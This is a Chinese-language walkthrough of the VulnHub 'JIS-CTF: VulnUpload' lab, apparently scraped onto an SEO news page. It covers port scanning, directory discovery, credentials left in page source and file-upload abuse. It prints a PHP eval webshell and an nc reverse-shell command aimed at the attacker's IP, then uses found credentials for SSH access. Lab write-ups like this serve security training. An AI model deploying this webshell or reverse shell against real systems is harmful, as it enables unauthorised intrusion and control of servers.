当前位置: 首页 > news >正文

漳州市建设网站推广哪个网站好

漳州市建设网站,推广哪个网站好,怎么做服务网站,怎么做时光网站JIS-CTF: VulnUpload来自 <https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/> 1,将两台虚拟机网络连接都改为NAT模式 2&#xff0c;攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 靶机IP地址192.168.23.162&#xff0c;攻击机IP地址192.168.23.140…

JIS-CTF: VulnUpload来自

 <https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

靶机IP地址192.168.23.162,攻击机IP地址192.168.23.140

3,扫描靶机端口服务

nmap -sS -sV -n -T4 -p- -A192.168.23.162

端口和服务:

  • 22/tcp:SSH服务(OpenSSH 7.2p2,运行在Ubuntu 4ubuntu2.1版本上)。
  • 80/tcp:HTTP服务(Apache 2.4.18,运行在Ubuntu上)。

SSH 主机密钥:

  • RSA:2048 af:b9:68:38:77:7c:40:f6:bf:98:09:ff:d9:5f:73:ec
  • ECDSA:256 b9:df:60:1e:6d:6f:d7:f6:24:fd:ae:f8:e3:cf:16:ac
  • ED25519:256 78:5a:95:bb:d5:bf:ad:cf:b2:f5:0f:c0:0c:af:f7:76

HTTP 信息:

  • 网页标题:Sign-Up/Login Form(注册/登录表单)
  • 请求的资源:login.php
  • 服务器标头:Apache/2.4.18 (Ubuntu)
  • robots.txt 文件中禁止访问的目录:
    • /、/backup、/admin、/admin_area、/r00t、/uploads、/uploaded_files、/flag 等

设备和操作系统信息:

  • MAC 地址:00:0C:29:71:5F:82(表示此设备是虚拟机,使用 VMware)。
  • 设备类型:一般用途设备。
  • 操作系统:运行 Linux 3.x 或 4.x 版本。
  • 操作系统细节:Linux 内核版本范围为 3.2 到 4.9。
  • 网络距离:距离扫描主机 1 跳。

4,访问80端口开放的HTTP服务

初始就是一个登录页面

5,爆破扫描出其存在的子目录页面

dirsearch -u http://192.168.23.162 -x 404,403

存在robots.txt查看一下

/backup 什么都没有
/admin 什么都没有
/admin_area

/r00t 什么都没有
/uploads 什么都没有
/uploaded_files 一片空白

/flag

信息收集得到第一个flag,The 1st flag is : {8734509128730458630012095}

http://192.168.23.162/js/index.js

1. 表单标签的动态效果:

通过绑定 keyup, blur, 和 focus 事件,动态地改变表单元素前面标签(label)的样式,以实现标签的浮动效果,增强用户交互体验。

  • keyup 事件:每当用户输入时触发。
    • 如果输入框(input 或 textarea)的值为空,标签移除 active 和 highlight 类,表示标签回到默认位置。
    • 如果输入框有值,标签添加 active 和 highlight 类,标签上浮。
  • blur 事件:当输入框失去焦点时触发。
    • 如果输入框的值为空,标签移除 active 和 highlight 类,标签恢复原位。
    • 如果输入框有值,标签只移除 highlight 类(但保留 active 类),标签保持浮动状态。
  • focus 事件:当输入框获得焦点时触发。
    • 如果输入框为空,标签移除 highlight 类。
    • 如果输入框有值,标签添加 highlight 类,标签会有高亮效果。

2. 标签切换效果:

通过 click 事件绑定在 .tab a 元素上,实现标签的切换效果。具体步骤如下:

  • click 事件:当用户点击标签时触发。
    • 阻止默认的跳转行为(e.preventDefault()),因为标签是通过显示和隐藏内容来切换的,不需要进行页面跳转。
    • 当前点击的标签的父元素(<li>)被添加 active 类,同时去除兄弟元素的 active 类,实现当前标签的高亮。
    • 根据点击的标签的 href 属性(即对应的目标区域 div),找到目标内容区并显示。
    • 使用 fadeIn(600) 使目标内容区淡入,显示出来,同时隐藏其他非目标内容区。

总结:

  • 表单动态标签效果:输入框获得或失去焦点时,标签会根据输入框的内容浮动或回到原位,以提高用户体验。
  • 标签切换效果:通过点击标签(如 Tab 切换),用户可以在多个内容区之间切换,显示对应的内容区域,使用淡入效果使界面更平滑。

http://192.168.23.162/assets/ 更像是一个目录

6,再对登录页面的指纹信息进行扫描,看看是否存在因为版本过低而产生的漏洞

jQuery 是一个快速、简洁的 JavaScript 库,旨在简化 HTML 文档遍历、事件处理、动画效果以及 Ajax 与服务器端的交互。它通过提供简洁的 API,使得开发者能够更轻松地操作 DOM(文档对象模型)、处理事件、动画和与服务器的交互。

没有明显的公开漏洞利用exp

7,再sqlmap自动化测试有无sql注入漏洞,首先burp suite抓一个标准的的登录请求包

没有token也没有cookie,这个登录界面是比较简陋的。将请求信息写入sql.txt,然后开始自动化测试

sqlmap -r sql.txt  --level 5 --risk 3 --batch

sql注入失败

8,在进一步信息收集过程,查看view-source:http://192.168.23.162/admin_area/页面源代码,得到疑似账户密码的重要信息

username : admin
password : 3v1l_H@ck3r
信息收集得到第二个flag The 2nd flag is : {7412574125871236547895214}

尝试登录

登录成功,提供了一个用于上传文件的功能页面

9,编写一句话木马尝试上传

<?php @eval($_POST['shell']);?>

上传成功,只是需要找到文件上传位置的绝对路径。根据信息收集的结果,推测是存在于http://192.168.23.162/uploaded_files/shell.php。一句话木马配合webshell工具蚁剑使用,获得网站控制权

10,下一步就是反弹shell,使kali攻击机能够获取服务器的shell

nc -e /bin/bash 192.168.23.140 4444

nc-e 被禁用了,需要更换反弹shell的命令,姑且先进行信息收集,看能不能找到线索

服务器路径/var/www/html/flag.txt是空的,没有内容。/var/www/html/hint.txt文件藏在第三个flag

并且给予了新的提示,尝试找到用户 technawi 的密码,以便读取 flag.txt 文件,它可以在一个隐藏的文件中找到

11,然后就需要漫长的找flag.txt,其中应该包含了technawi用户的密码

 grep -sr '4th flag' /

成功找到flag4,路径/etc/mysql/conf.d/credentials.txt

username : technawi

password : 3vilH@ksor

12,在nmap扫描的时候看到存在22端口ssh服务,尝试一下登录

13,信息收集一下,当前用户权限还是比较低的

最后得到第五个flag cat /var/www/html/flag.txt

14 ,最后稀里糊涂的提权成功了

一共五个flag,主要是信息收集,文件上传,蚁剑的使用。没有什么做题价值

http://www.hkea.cn/news/701455/

相关文章:

  • axure做网站好不好手机百度问一问
  • 开发微信小程序的流程广州seo优化电话
  • 小企业网站建设和管理全能搜
  • 无棣县建设局网站游戏优化大师下载安装
  • 小额贷款 网站模板品牌推广软文
  • 网站建设开发成本天津百度搜索网站排名
  • 做的好的营销型网站有哪些内容外贸网站外链平台
  • 东营网站建设预算价格百度网盘网页版入口官网
  • 网站建设中标公告18款禁用看奶app入口
  • 网站运营人员岗位职责长沙正规seo优化价格
  • cnzz统计代码放在后台网站为什么没显示seo的英文全称是什么
  • 杭州企业网站建设方案广告门
  • 自己免费做网站(二)seo优化公司信
  • 广州外贸b2b网站建设刷钻业务推广网站
  • 做企业网站用什么怎样宣传自己的品牌
  • 濮阳做网站的公司我的百度账号
  • 美食网站开发如何做好网络营销工作
  • 网站建设案例资料今天的新闻内容
  • 台州专业网站建设方案seo软文代写
  • 个人网站 百度推广全球搜索大全
  • 网站消息推送5118素材网站
  • 天津 响应式网站设计企业网站模板免费
  • 网站用花生壳nas做存储百度seo发包工具
  • wordpress cache深圳纯手工seo
  • 怎样找到正规代加工网站百度地图3d实景地图
  • 潍坊网站建设公司网站搭建免费
  • 惠州做网站好的公司下载百度语音导航地图安装
  • 春节网站怎么做小说排行榜百度搜索风云榜
  • 商城服务是什么软件seo是指什么岗位
  • 无锡网站建设有限公司网站快速收录的方法